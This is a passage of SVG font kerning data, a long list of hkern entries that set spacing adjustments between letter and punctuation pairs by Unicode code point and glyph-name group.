<hkern u1="&#x37;" u2="&#x34;" k="43" />
<hkern u1="&#x37;" u2="&#x2e;" k="137" />
<hkern u1="&#x37;" u2="&#x2c;" k="139" />
<hkern u1="&#x38;" u2="&#x2e;" k="18" />
<hkern u1="&#x38;" u2="&#x2c;" k="20" />
<hkern u1="&#x39;" u2="&#x2e;" k="59" />
<hkern u1="&#x39;" u2="&#x2c;" k="66" />
<hkern u1="B" u2="X" k="6" />
<hkern u1="B" u2="V" k="6" />
<hkern u1="B" u2="&#x3b;" k="10" />
<hkern u1="B" u2="&#x3a;" k="10" />
<hkern u1="B" u2="&#x2c;" k="20" />
<hkern u1="F" u2="&#x131;" k="14" />
<hkern u1="F" u2="x" k="55" />
<hkern u1="F" u2="p" k="14" />
<hkern u1="F" u2="&#x3b;" k="43" />
<hkern u1="F" u2="&#x3a;" k="39" />
<hkern u1="F" u2="&#x2c;" k="154" />
<hkern u1="L" u2="&#xb7;" k="154" />
<hkern u1="M" u2="V" k="8" />
<hkern u1="P" u2="X" k="10" />
<hkern u1="P" u2="&#x2c;" k="195" />
<hkern u1="Q" u2="V" k="14" />
<hkern u1="T" u2="&#x161;" k="80" />
<hkern u1="T" u2="&#x159;" k="82" />
<hkern u1="T" u2="&#x131;" k="195" />
<hkern u1="T" u2="&#xef;" k="-39" />
<hkern u1="T" u2="&#xee;" k="-43" />
<hkern u1="T" u2="&#xec;" k="-57" />
<hkern u1="T" u2="&#xe3;" k="76" />
<hkern u1="V" u2="&#x131;" k="29" />
<hkern u1="V" u2="&#xf0;" k="6" />
<hkern u1="V" u2="&#xef;" k="-37" />
<hkern u1="V" u2="&#xec;" k="-55" />
<hkern u1="V" u2="&#x7d;" k="-37" />
<hkern u1="V" u2="p" k="29" />
<hkern u1="V" u2="]" k="-37" />
<hkern u1="V" u2="M" k="8" />
<hkern u1="V" u2="&#x3f;" k="-23" />
<hkern u1="V" u2="&#x3b;" k="27" />
<hkern u1="V" u2="&#x3a;" k="25" />
<hkern u1="V" u2="&#x2c;" k="109" />
<hkern u1="V" u2="&#x29;" k="-25" />
<hkern u1="W" u2="&#x131;" k="27" />
<hkern u1="X" u2="&#xf0;" k="10" />
<hkern u1="X" u2="v" k="20" />
<hkern u1="X" u2="]" k="-10" />
<hkern u1="Y" u2="&#x131;" k="66" />
<hkern u1="Y" u2="&#xef;" k="-31" />
<hkern u1="Y" u2="&#xed;" k="16" />
<hkern u1="Y" u2="&#xec;" k="-51" />
<hkern u1="Y" u2="&#xdf;" k="18" />
<hkern u1="[" u2="&#xef;" k="-37" />
<hkern u1="[" u2="&#xec;" k="-51" />
<hkern u1="[" u2="X" k="-10" />
<hkern u1="[" u2="V" k="-37" />
<hkern u1="a" u2="Y" k="113" />
<hkern u1="a" u2="W" k="33" />
<hkern u1="a" u2="V" k="57" />
<hkern u1="a" u2="U" k="6" />
<hkern u1="a" u2="T" k="195" />
<hkern u1="c" u2="Y" k="55" />
<hkern u1="c" u2="W" k="14" />
<hkern u1="c" u2="V" k="23" />
<hkern u1="c" u2="T" k="162" />
<hkern u1="e" u2="Y" k="92" />
<hkern u1="e" u2="W" k="29" />
<hkern u1="e" u2="V" k="47" />
<hkern u1="e" u2="T" k="168" />
<hkern u1="f" u2="&#xef;" k="-31" />
<hkern u1="f" u2="&#xee;" k="-16" />
<hkern u1="f" u2="&#xec;" k="-49" />
<hkern u1="f" u2="&#x7d;" k="-35" />
<hkern u1="f" u2="]" k="-37" />
<hkern u1="f" u2="Y" k="-37" />
<hkern u1="f" u2="V" k="-43" />
<hkern u1="f" u2="T" k="-45" />
<hkern u1="f" u2="J" k="27" />
<hkern u1="f" u2="A" k="10" />
<hkern u1="f" u2="&#x3f;" k="-25" />
<hkern u1="f" u2="&#x2c;" k="14" />
<hkern u1="f" u2="&#x29;" k="-27" />
<hkern u1="g" u2="Y" k="66" />
<hkern u1="g" u2="W" k="25" />
<hkern u1="g" u2="V" k="29" />
<hkern u1="g" u2="U" k="6" />
<hkern u1="g" u2="T" k="193" />
<hkern u1="k" u2="Y" k="14" />
<hkern u1="k" u2="V" k="6" />
<hkern u1="k" u2="U" k="6" />
<hkern u1="k" u2="T" k="145" />
<hkern u1="k" u2="J" k="6" />
<hkern u1="l" u2="&#xb7;" k="133" />
<hkern u1="l" u2="Y" k="6" />
<hkern u1="l" u2="W" k="6" />
<hkern u1="l" u2="U" k="10" />
<hkern u1="o" u2="Z" k="8" />
<hkern u1="o" u2="Y" k="117" />
<hkern u1="o" u2="X" k="16" />
<hkern u1="o" u2="W" k="37" />
<hkern u1="o" u2="V" k="61" />
<hkern u1="o" u2="T" k="178" />
<hkern u1="q" u2="Y" k="66" />
<hkern u1="q" u2="W" k="25" />
<hkern u1="q" u2="V" k="29" />
<hkern u1="q" u2="U" k="6" />
<hkern u1="q" u2="T" k="193" />
<hkern u1="r" u2="Z" k="96" />
<hkern u1="r" u2="Y" k="8" />
<hkern u1="r" u2="X" k="35" />
<hkern u1="r" u2="T" k="141" />
<hkern u1="r" u2="J" k="82" />
<hkern u1="r" u2="A" k="37" />
<hkern u1="s" u2="Y" k="66" />
<hkern u1="s" u2="W" k="14" />
<hkern u1="s" u2="V" k="20" />
<hkern u1="s" u2="T" k="160" />
<hkern u1="t" u2="Y" k="18" />
<hkern u1="t" u2="T" k="74" />
<hkern u1="u" u2="Y" k="66" />
<hkern u1="u" u2="W" k="25" />
<hkern u1="u" u2="V" k="29" />
<hkern u1="u" u2="U" k="6" />
<hkern u1="u" u2="T" k="195" />
<hkern u1="v" u2="Z" k="70" />
<hkern u1="v" u2="X" k="20" />
<hkern u1="v" u2="T" k="133" />
<hkern u1="v" u2="A" k="14" />
<hkern u1="v" u2="&#x2c;" k="41" />
<hkern u1="w" u2="Z" k="66" />
<hkern u1="w" u2="Y" k="6" />
<hkern u1="w" u2="X" k="23" />
<hkern u1="w" u2="T" k="147" />
<hkern u1="w" u2="A" k="12" />
<hkern u1="x" u2="&#xf0;" k="10" />
<hkern u1="x" u2="Y" k="10" />
<hkern u1="x" u2="T" k="147" />
<hkern u1="y" u2="Z" k="76" />
<hkern u1="y" u2="X" k="23" />
<hkern u1="y" u2="T" k="133" />
<hkern u1="y" u2="J" k="8" />
<hkern u1="y" u2="A" k="16" />
<hkern u1="z" u2="Y" k="25" />
<hkern u1="z" u2="W" k="6" />
<hkern u1="z" u2="V" k="10" />
<hkern u1="z" u2="T" k="160" />
<hkern u1="&#x7b;" u2="&#xef;" k="-49" />
<hkern u1="&#x7b;" u2="&#xec;" k="-51" />
<hkern u1="&#x7b;" u2="j" k="-14" />
<hkern u1="&#x7b;" u2="V" k="-37" />
<hkern u1="&#xb7;" u2="l" k="133" />
<hkern u1="&#xbf;" u2="j" k="-98" />
<hkern u1="&#xdd;" u2="&#x131;" k="66" />
<hkern u1="&#xdd;" u2="&#xef;" k="-31" />
<hkern u1="&#xdd;" u2="&#xed;" k="16" />
<hkern u1="&#xdd;" u2="&#xec;" k="-51" />
<hkern u1="&#xdd;" u2="&#xdf;" k="18" />
<hkern u1="&#xde;" u2="X" k="47" />
<hkern u1="&#xde;" u2="V" k="6" />
<hkern u1="&#xde;" u2="&#x2c;" k="104" />
<hkern u1="&#xed;" u2="&#x7d;" k="-53" />
<hkern u1="&#xed;" u2="]" k="-53" />
<hkern u1="&#xed;" u2="&#x3f;" k="-29" />
<hkern u1="&#xed;" u2="&#x29;" k="-43" />
<hkern u1="&#xee;" u2="&#x201d;" k="-12" />
<hkern u1="&#xee;" u2="&#x2019;" k="-12" />
<hkern u1="&#xee;" u2="&#x3f;" k="-14" />
<hkern u1="&#xef;" u2="&#x7d;" k="-53" />
<hkern u1="&#xef;" u2="]" k="-41" />
<hkern u1="&#xef;" u2="&#x3f;" k="-47" />
<hkern u1="&#xef;" u2="&#x29;" k="-43" />
<hkern u1="&#xf0;" u2="x" k="10" />
<hkern u1="&#xf0;" u2="&#x2c;" k="10" />
<hkern u1="&#x10f;" u2="&#x201d;" k="-51" />
<hkern u1="&#x10f;" u2="&#x2019;" k="-51" />
<hkern u1="&#x10f;" u2="&#xef;" k="-117" />
<hkern u1="&#x10f;" u2="&#xee;" k="-113" />
<hkern u1="&#x10f;" u2="&#xec;" k="-123" />
<hkern u1="&#x10f;" u2="&#x7d;" k="-125" />
<hkern u1="&#x10f;" u2="]" k="-125" />
<hkern u1="&#x10f;" u2="&#x3f;" k="-119" />
<hkern u1="&#x10f;" u2="&#x29;" k="-109" />
<hkern u1="&#x10f;" u2="&#x27;" k="-72" />
<hkern u1="&#x10f;" u2="&#x22;" k="-72" />
<hkern u1="&#x13e;" u2="&#x201d;" k="-23" />
<hkern u1="&#x13e;" u2="&#x2019;" k="-23" />
<hkern u1="&#x13e;" u2="&#xef;" k="-90" />
<hkern u1="&#x13e;" u2="&#xee;" k="-86" />
<hkern u1="&#x13e;" u2="&#xec;" k="-96" />
<hkern u1="&#x13e;" u2="&#x7d;" k="-98" />
<hkern u1="&#x13e;" u2="]" k="-98" />
<hkern u1="&#x13e;" u2="&#x3f;" k="-92" />
<hkern u1="&#x13e;" u2="&#x29;" k="-84" />
<hkern u1="&#x13e;" u2="&#x27;" k="-41" />
<hkern u1="&#x13e;" u2="&#x22;" k="-41" />
<hkern u1="&#x155;" u2="&#xec;" k="-23" />
<hkern u1="&#x159;" u2="&#xef;" k="-16" />
<hkern u1="&#x159;" u2="&#xec;" k="-35" />
<hkern u1="&#x164;" u2="&#x161;" k="80" />
<hkern u1="&#x164;" u2="&#x159;" k="82" />
<hkern u1="&#x164;" u2="&#x131;" k="195" />
<hkern u1="&#x164;" u2="&#xef;" k="-39" />
<hkern u1="&#x164;" u2="&#xee;" k="-43" />
<hkern u1="&#x164;" u2="&#xec;" k="-57" />
<hkern u1="&#x164;" u2="&#xe3;" k="76" />
<hkern u1="&#x165;" u2="&#xef;" k="-18" />
<hkern u1="&#x165;" u2="&#xee;" k="-29" />
<hkern u1="&#x165;" u2="&#xec;" k="-14" />
<hkern u1="&#x165;" u2="&#x7d;" k="-23" />
<hkern u1="&#x165;" u2="]" k="-27" />
<hkern u1="&#x165;" u2="&#x3f;" k="-12" />
<hkern u1="&#x178;" u2="&#x131;" k="66" />
<hkern u1="&#x178;" u2="&#xef;" k="-31" />
<hkern u1="&#x178;" u2="&#xed;" k="16" />
<hkern u1="&#x178;" u2="&#xec;" k="-51" />
<hkern u1="&#x178;" u2="&#xdf;" k="18" />
<hkern u1="&#x2018;" u2="&#xef;" k="-23" />
<hkern u1="&#x2018;" u2="&#xec;" k="-41" />
<hkern u1="&#x201c;" u2="&#xef;" k="-23" />
<hkern u1="&#x201c;" u2="&#xec;" k="-41" />
<hkern g1="parenleft" 	g2="T,Tcaron" 	k="-31" />
<hkern g1="parenleft" 	g2="Y,Yacute,Ydieresis" 	k="-25" />
<hkern g1="comma" 	g2="B,D,E,F,H,I,K,L,N,P,R,Egrave,Eacute,Ecircumflex,Edieresis,Igrave,Iacute,Icircumflex,Idieresis,Eth,Ntilde,Thorn,Dcaron,Ecaron,Lacute,Lcaron,Ncaron,Racute,Rcaron" 	k="23" />
<hkern g1="comma" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	k="45" />
<hkern g1="comma" 	g2="T,Tcaron" 	k="117" />
<hkern g1="comma" 	g2="Y,Yacute,Ydieresis" 	k="121" />
<hkern g1="comma" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="53" />
<hkern g1="comma" 	g2="W" 	k="84" />
<hkern g1="comma" 	g2="t,tcaron" 	k="10" />
<hkern g1="comma" 	g2="w" 	k="27" />
<hkern g1="comma" 	g2="y,yacute,ydieresis" 	k="45" />
<hkern g1="hyphen,endash,emdash" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="35" />
<hkern g1="hyphen,endash,emdash" 	g2="B,D,E,F,H,I,K,L,N,P,R,Egrave,Eacute,Ecircumflex,Edieresis,Igrave,Iacute,Icircumflex,Idieresis,Eth,Ntilde,Thorn,Dcaron,Ecaron,Lacute,Lcaron,Ncaron,Racute,Rcaron" 	k="31" />
<hkern g1="hyphen,endash,emdash" 	g2="M" 	k="27" />
<hkern g1="hyphen,endash,emdash" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	k="25" />
<hkern g1="hyphen,endash,emdash" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="12" />
<hkern g1="hyphen,endash,emdash" 	g2="T,Tcaron" 	k="123" />
<hkern g1="hyphen,endash,emdash" 	g2="Y,Yacute,Ydieresis" 	k="125" />
<hkern g1="hyphen,endash,emdash" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="10" />
<hkern g1="hyphen,endash,emdash" 	g2="W" 	k="61" />
<hkern g1="hyphen,endash,emdash" 	g2="S,Scaron" 	k="90" />
<hkern g1="hyphen,endash,emdash" 	g2="V" 	k="76" />
<hkern g1="hyphen,endash,emdash" 	g2="X" 	k="86" />
<hkern g1="hyphen,endash,emdash" 	g2="Z,Zcaron" 	k="82" />
<hkern g1="hyphen,endash,emdash" 	g2="x" 	k="20" />
<hkern g1="hyphen,endash,emdash" 	g2="z,zcaron" 	k="27" />
<hkern g1="period" 	g2="B,D,E,F,H,I,K,L,N,P,R,Egrave,Eacute,Ecircumflex,Edieresis,Igrave,Iacute,Icircumflex,Idieresis,Eth,Ntilde,Thorn,Dcaron,Ecaron,Lacute,Lcaron,Ncaron,Racute,Rcaron" 	k="20" />
<hkern g1="period" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	k="47" />
<hkern g1="period" 	g2="T,Tcaron" 	k="115" />
<hkern g1="period" 	g2="Y,Yacute,Ydieresis" 	k="121" />
<hkern g1="period" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="57" />
<hkern g1="period" 	g2="W" 	k="84" />
<hkern g1="period" 	g2="t,tcaron" 	k="12" />
<hkern g1="period" 	g2="w" 	k="29" />
<hkern g1="period" 	g2="y,yacute,ydieresis" 	k="49" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	k="14" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="T,Tcaron" 	k="88" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="Y,Yacute,Ydieresis" 	k="96" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="8" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="W" 	k="43" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="t,tcaron" 	k="6" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="w" 	k="12" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="y,yacute,ydieresis" 	k="18" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="V" 	k="61" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="quotedbl,quotesingle" 	k="78" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="hyphen,endash,emdash" 	k="35" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="v" 	k="14" />
<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" 	g2="quoteright,quotedblright" 	k="63" />
<hkern g1="B" 	g2="Y,Yacute,Ydieresis" 	k="16" />
<hkern g1="B" 	g2="W" 	k="8" />
<hkern g1="B" 	g2="quotedbl,quotesingle" 	k="12" />
<hkern g1="B" 	g2="hyphen,endash,emdash" 	k="16" />
<hkern g1="B" 	g2="period,ellipsis" 	k="16" />
<hkern g1="C,Ccedilla,Ccaron" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="10" />
<hkern g1="C,Ccedilla,Ccaron" 	g2="t,tcaron" 	k="6" />
<hkern g1="C,Ccedilla,Ccaron" 	g2="w" 	k="14" />
<hkern g1="C,Ccedilla,Ccaron" 	g2="y,yacute,ydieresis" 	k="14" />
<hkern g1="C,Ccedilla,Ccaron" 	g2="hyphen,endash,emdash" 	k="127" />
<hkern g1="C,Ccedilla,Ccaron" 	g2="v" 	k="12" />
<hkern g1="C,Ccedilla,Ccaron" 	g2="f,uniFB01,uniFB02" 	k="6" />
<hkern g1="D,Eth,Dcaron" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="8" />
<hkern g1="D,Eth,Dcaron" 	g2="T,Tcaron" 	k="16" />
<hkern g1="D,Eth,Dcaron" 	g2="Y,Yacute,Ydieresis" 	k="35" />
<hkern g1="D,Eth,Dcaron" 	g2="W" 	k="6" />
<hkern g1="D,Eth,Dcaron" 	g2="V" 	k="8" />
<hkern g1="D,Eth,Dcaron" 	g2="X" 	k="27" />
<hkern g1="D,Eth,Dcaron" 	g2="Z,Zcaron" 	k="18" />
<hkern g1="D,Eth,Dcaron" 	g2="hyphen,endash,emdash" 	k="10" />
<hkern g1="D,Eth,Dcaron" 	g2="period,ellipsis" 	k="51" />
<hkern g1="D,Eth,Dcaron" 	g2="comma" 	k="57" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,Ecaron,OE" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="10" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,Ecaron,OE" 	g2="t,tcaron" 	k="8" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,Ecaron,OE" 	g2="w" 	k="20" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,Ecaron,OE" 	g2="y,yacute,ydieresis" 	k="27" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,Ecaron,OE" 	g2="hyphen,endash,emdash" 	k="66" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,Ecaron,OE" 	g2="v" 	k="23" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,Ecaron,OE" 	g2="f,uniFB01,uniFB02" 	k="6" />
<hkern g1="F" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="55" />
<hkern g1="F" 	g2="J" 	k="51" />
<hkern g1="F" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="20" />
<hkern g1="F" 	g2="w" 	k="6" />
<hkern g1="F" 	g2="z,zcaron" 	k="47" />
<hkern g1="F" 	g2="hyphen,endash,emdash" 	k="27" />
<hkern g1="F" 	g2="period,ellipsis" 	k="156" />
<hkern g1="F" 	g2="f,uniFB01,uniFB02" 	k="8" />
<hkern g1="F" 	g2="m,n,r,ntilde,ncaron,racute,rcaron" 	k="14" />
<hkern g1="F" 	g2="s,scaron" 	k="10" />
<hkern g1="F" 	g2="u,ugrave,uacute,ucircumflex,udieresis,uring" 	k="10" />
<hkern g1="G" 	g2="quotedbl,quotesingle" 	k="14" />
<hkern g1="G" 	g2="hyphen,endash,emdash" 	k="12" />
<hkern g1="G" 	g2="quoteright,quotedblright" 	k="16" />
<hkern g1="H,I,N,Igrave,Iacute,Icircumflex,Idieresis,Ntilde,Ncaron" 	g2="quotedbl,quotesingle" 	k="14" />
<hkern g1="H,I,N,Igrave,Iacute,Icircumflex,Idieresis,Ntilde,Ncaron" 	g2="hyphen,endash,emdash" 	k="31" />
<hkern g1="H,I,N,Igrave,Iacute,Icircumflex,Idieresis,Ntilde,Ncaron" 	g2="quoteright,quotedblright" 	k="10" />
<hkern g1="H,I,N,Igrave,Iacute,Icircumflex,Idieresis,Ntilde,Ncaron" 	g2="period,ellipsis" 	k="20" />
<hkern g1="H,I,N,Igrave,Iacute,Icircumflex,Idieresis,Ntilde,Ncaron" 	g2="comma" 	k="18" />
<hkern g1="H,I,N,Igrave,Iacute,Icircumflex,Idieresis,Ntilde,Ncaron" 	g2="colon" 	k="12" />
<hkern g1="H,I,N,Igrave,Iacute,Icircumflex,Idieresis,Ntilde,Ncaron" 	g2="semicolon" 	k="10" />
<hkern g1="J" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="8" />
<hkern g1="J" 	g2="quotedbl,quotesingle" 	k="12" />
<hkern g1="J" 	g2="hyphen,endash,emdash" 	k="27" />
<hkern g1="J" 	g2="period,ellipsis" 	k="33" />
<hkern g1="J" 	g2="comma" 	k="37" />
<hkern g1="J" 	g2="colon" 	k="12" />
<hkern g1="J" 	g2="semicolon" 	k="14" />
<hkern g1="K" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="27" />
<hkern g1="K" 	g2="t,tcaron" 	k="14" />
<hkern g1="K" 	g2="w" 	k="23" />
<hkern g1="K" 	g2="y,yacute,ydieresis" 	k="20" />
<hkern g1="K" 	g2="hyphen,endash,emdash" 	k="84" />
<hkern g1="K" 	g2="v" 	k="20" />
<hkern g1="K" 	g2="f,uniFB01,uniFB02" 	k="8" />
<hkern g1="K" 	g2="u,ugrave,uacute,ucircumflex,udieresis,uring" 	k="10" />
<hkern g1="K" 	g2="bracketright" 	k="-10" />
<hkern g1="K" 	g2="d,q,dcaron" 	k="10" />
<hkern g1="K" 	g2="g" 	k="18" />
<hkern g1="K" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="16" />
<hkern g1="K" 	g2="eth" 	k="8" />
<hkern g1="L,Lacute,Lcaron" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="-20" />
<hkern g1="L,Lacute,Lcaron" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	k="25" />
<hkern g1="L,Lacute,Lcaron" 	g2="T,Tcaron" 	k="125" />
<hkern g1="L,Lacute,Lcaron" 	g2="Y,Yacute,Ydieresis" 	k="102" />
<hkern g1="L,Lacute,Lcaron" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="37" />
<hkern g1="L,Lacute,Lcaron" 	g2="W" 	k="80" />
<hkern g1="L,Lacute,Lcaron" 	g2="t,tcaron" 	k="8" />
<hkern g1="L,Lacute,Lcaron" 	g2="w" 	k="33" />
<hkern g1="L,Lacute,Lcaron" 	g2="y,yacute,ydieresis" 	k="68" />
<hkern g1="L,Lacute,Lcaron" 	g2="V" 	k="106" />
<hkern g1="L,Lacute,Lcaron" 	g2="quotedbl,quotesingle" 	k="156" />
<hkern g1="L,Lacute,Lcaron" 	g2="hyphen,endash,emdash" 	k="160" />
<hkern g1="L,Lacute,Lcaron" 	g2="v" 	k="47" />
<hkern g1="L,Lacute,Lcaron" 	g2="quoteright,quotedblright" 	k="152" />
<hkern g1="M" 	g2="Y,Yacute,Ydieresis" 	k="20" />
<hkern g1="M" 	g2="W" 	k="10" />
<hkern g1="M" 	g2="quotedbl,quotesingle" 	k="25" />
<hkern g1="M" 	g2="hyphen,endash,emdash" 	k="27" />
<hkern g1="M" 	g2="quoteright,quotedblright" 	k="16" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="8" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="T,Tcaron" 	k="20" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="Y,Yacute,Ydieresis" 	k="35" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="W" 	k="6" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="V" 	k="8" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="X" 	k="27" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="Z,Zcaron" 	k="20" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="hyphen,endash,emdash" 	k="10" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="period,ellipsis" 	k="57" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="comma" 	k="63" />
<hkern g1="P" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="51" />
<hkern g1="P" 	g2="J" 	k="70" />
<hkern g1="P" 	g2="Z,Zcaron" 	k="6" />
<hkern g1="P" 	g2="hyphen,endash,emdash" 	k="31" />
<hkern g1="P" 	g2="period,ellipsis" 	k="197" />
<hkern g1="Q" 	g2="T,Tcaron" 	k="27" />
<hkern g1="Q" 	g2="Y,Yacute,Ydieresis" 	k="47" />
<hkern g1="Q" 	g2="W" 	k="10" />
<hkern g1="Q" 	g2="quotedbl,quotesingle" 	k="10" />
<hkern g1="Q" 	g2="hyphen,endash,emdash" 	k="14" />
<hkern g1="R,Racute,Rcaron" 	g2="Y,Yacute,Ydieresis" 	k="12" />
<hkern g1="R,Racute,Rcaron" 	g2="hyphen,endash,emdash" 	k="66" />
<hkern g1="S,Scaron" 	g2="t,tcaron" 	k="6" />
<hkern g1="S,Scaron" 	g2="w" 	k="6" />
<hkern g1="S,Scaron" 	g2="y,yacute,ydieresis" 	k="8" />
<hkern g1="S,Scaron" 	g2="hyphen,endash,emdash" 	k="14" />
<hkern g1="S,Scaron" 	g2="v" 	k="6" />
<hkern g1="S,Scaron" 	g2="period,ellipsis" 	k="10" />
<hkern g1="S,Scaron" 	g2="f,uniFB01,uniFB02" 	k="6" />
<hkern g1="S,Scaron" 	g2="comma" 	k="12" />
<hkern g1="S,Scaron" 	g2="colon" 	k="12" />
<hkern g1="S,Scaron" 	g2="semicolon" 	k="12" />
<hkern g1="T,Tcaron" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="88" />
<hkern g1="T,Tcaron" 	g2="J" 	k="51" />
<hkern g1="T,Tcaron" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="166" />
<hkern g1="T,Tcaron" 	g2="T,Tcaron" 	k="-53" />
<hkern g1="T,Tcaron" 	g2="Y,Yacute,Ydieresis" 	k="-47" />
<hkern g1="T,Tcaron" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="20" />
<hkern g1="T,Tcaron" 	g2="w" 	k="147" />
<hkern g1="T,Tcaron" 	g2="y,yacute,ydieresis" 	k="127" />
<hkern g1="T,Tcaron" 	g2="V" 	k="-51" />
<hkern g1="T,Tcaron" 	g2="x" 	k="147" />
<hkern g1="T,Tcaron" 	g2="z,zcaron" 	k="154" />
<hkern g1="T,Tcaron" 	g2="hyphen,endash,emdash" 	k="123" />
<hkern g1="T,Tcaron" 	g2="v" 	k="133" />
<hkern g1="T,Tcaron" 	g2="period,ellipsis" 	k="115" />
<hkern g1="T,Tcaron" 	g2="f,uniFB01,uniFB02" 	k="14" />
<hkern g1="T,Tcaron" 	g2="comma" 	k="113" />
<hkern g1="T,Tcaron" 	g2="m,n,r,ntilde,ncaron,racute,rcaron" 	k="193" />
<hkern g1="T,Tcaron" 	g2="s,scaron" 	k="170" />
<hkern g1="T,Tcaron" 	g2="u,ugrave,uacute,ucircumflex,udieresis,uring" 	k="188" />
<hkern g1="T,Tcaron" 	g2="colon" 	k="102" />
<hkern g1="T,Tcaron" 	g2="semicolon" 	k="102" />
<hkern g1="T,Tcaron" 	g2="bracketright" 	k="-43" />
<hkern g1="T,Tcaron" 	g2="d,q,dcaron" 	k="174" />
<hkern g1="T,Tcaron" 	g2="g" 	k="180" />
<hkern g1="T,Tcaron" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="178" />
<hkern g1="T,Tcaron" 	g2="eth" 	k="6" />
<hkern g1="T,Tcaron" 	g2="parenright" 	k="-31" />
<hkern g1="T,Tcaron" 	g2="question" 	k="-33" />
<hkern g1="T,Tcaron" 	g2="p" 	k="193" />
<hkern g1="T,Tcaron" 	g2="braceright" 	k="-41" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="14" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	g2="quotedbl,quotesingle" 	k="10" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	g2="hyphen,endash,emdash" 	k="25" />
